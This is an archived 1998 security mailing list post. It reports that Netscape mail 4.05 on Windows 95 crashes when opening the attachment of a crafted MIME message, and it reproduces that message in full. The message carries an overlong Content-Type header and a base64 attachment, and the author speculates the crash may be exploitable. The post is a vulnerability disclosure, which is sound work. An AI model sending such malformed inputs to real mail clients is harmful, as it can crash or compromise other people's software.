netscape mail overflow(another one)

From: Paul Boehm (paulat_private)
Date: Tue Jul 28 1998 - 11:21:41 PDT

  • Next message: David Schwartz: "Re: EMERGENCY: new remote root exploit in UW imapd" 

    Hi,
netscape mail crashes when trying to the attachment
from the following pseudo mime mail:

From: Paul Boehm <paulat_private>
To: paulat_private
Subject: test
Mime-Version: 1.0
Content-Type: AAAAAAAAAAAAAAAAAAAAAA...; boundary=ABC123
--ABC123
Content-Type: text/plain; charset=us-ascii

test123

--ABC123
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="AA"

H4sIAA7jvDUAA+3OOQ6EQBBD0Y45hY9QJejiPI1EBhJiuT+LiEeaAEj+SxzYgdfR09PcLMyU
JLURdzZX3hopcm49vD6Ks/acZI8/O2zLWmYpTWUbfu/6+Y0/L+uGUn39AQAAAAAAAAAAAAAA
AADwvx2CTC7aACgAAA==

--ABC--

i suppose this is exploitable, but i don't really know.
i only tested this with win95 netscape 4.05.

bye,
    paul

--

[ Paul S. Boehm | paulat_private | http://paul.boehm.org/ | infected@irc ]

Money is what gives a programmer his resources. It's an exchange system created
by human beings. It surrounds us. Works for us, binds the economy together.

    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:09:31 PDT